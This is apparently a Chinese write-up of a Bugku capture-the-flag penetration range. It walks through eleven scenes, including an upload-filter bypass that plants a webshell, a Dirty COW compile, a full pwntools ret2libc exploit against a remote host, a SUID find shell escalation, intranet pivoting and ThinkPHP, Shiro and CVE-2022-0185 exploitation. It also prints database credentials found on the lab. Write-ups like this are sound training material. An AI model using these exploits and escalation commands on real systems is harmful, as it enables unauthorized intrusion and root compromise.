看到bugku出的新模式,玩了一下。

0x00 场景1

查看源代码找到flag1。

0x01 场景2

输入/admin找到了后台地址,输入admin/admin成功进入后台。

在后台成功找到了flag2:

0x02 场景3

在基本设置→上传配置,上传后缀中,添加php,然后保存。

然后网站就不能访问了,,呜呜呜呜呜呜我滴20金币。。

重启了一下环境,继续把php后缀添加进去。然后内容管理→模型管理→添加模型→上传图标→上传🐎。

根据回显的错误提示<上传文件后缀不能为空>可以判断它把php这个后缀过滤掉了,双写该后缀名绕过即可。

在/home下找到了flag3。

0x03 场景4

需要提权 上传个🐎转移到msf,使用les.sh,提示可能存在脏牛提权漏洞:

于是我尝试上传脏牛的exp:戳我,然后编译:

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil

把编译好的dcow放在/tmp目录下去执行,但是提权失败了。

去翻了一下网站的数据库配置文件,路径/var/www/html/app/database.php,意外之喜:

<?php
return [
    'type'            => 'mysql',
    'hostname'        => '127.0.0.1',
    'database'        => 'myu',
    'username'        => 'root',
    'password'        => 'root',
    'hostport'        => '3306',
    'prefix'          => 'my_',
];

找到flag4:

0x04 场景5

把/home/ctf下的main文件拉出来分析,ret2libc。exp:

from pwn import *

elf = ELF('./main')
local = 0
if local == 1:
    io = process('./main')
else:
    io = remote('101.132.195.152',9999)

io.recvuntil("name:\n")

payload = 'a'*(0x24)+p32(0xdeadbeef)+p32(elf.symbols['write'])+p32(elf.symbols['main'])+p32(1)+p32(elf.got['__libc_start_main'])+p32(8)
io.send(payload)

libc_start_main_addr = u32(io.recv(4))
print(hex(libc_start_main_addr))

libcbase = libc_start_main_addr - 0x018190
system_addr = libcbase + 0x03a850
binsh = libcbase + 0x15d7c8
payload2 = 'a'*(0x24)+p32(0xdeadbeef)+p32(system_addr)+p32(elf.symbols['main'])+p32(binsh)
io.recvuntil("name:\n")
io.send(payload2)

io.interactive()

0x05 场景6

根据提示,访问8080。随手打了一个robots.txt,出现flag。

#
# robots.txt for shiro
# flag{5e6bf26ea9968305a07aa372a3e1147c} PS:next to my home
#
User-agent: *
Disallow:

0x06 场景7

根据提示shiro联想到shiro的rce漏洞。

0x07 场景8

挪到msf🐎上,提权,找到正在系统上运行的所有SUID可执行文件:

find / -user root -perm -4000 -print 2>/dev/null

发现以root权限运行着find,利用find可以提权。

find . -exec /bin/sh -p \; -quit

0x08 场景9

根据提交flag处的提示<看看内网?>,用frp进行内穿。

其中192.168.0.4存在一个网站,有thinkphp 5.0.23的rce,一把梭,在/html目录下找到了flag。

0x09 场景10

提示看看数据库,在/var/www/html/application/database.php找到了数据库配置文件:

    // 数据库名
    'database'        => 'aman',
    // 用户名
    'username'        => 'aman',
    // 密码
    'password'        => 'aman123',

使用该用户名密码连接mysql,在flag库下得到flag。

0x0A 场景11

使用msf反弹shell,用CVE-2022-0185成功进行了提权,在root目录下发现了flag。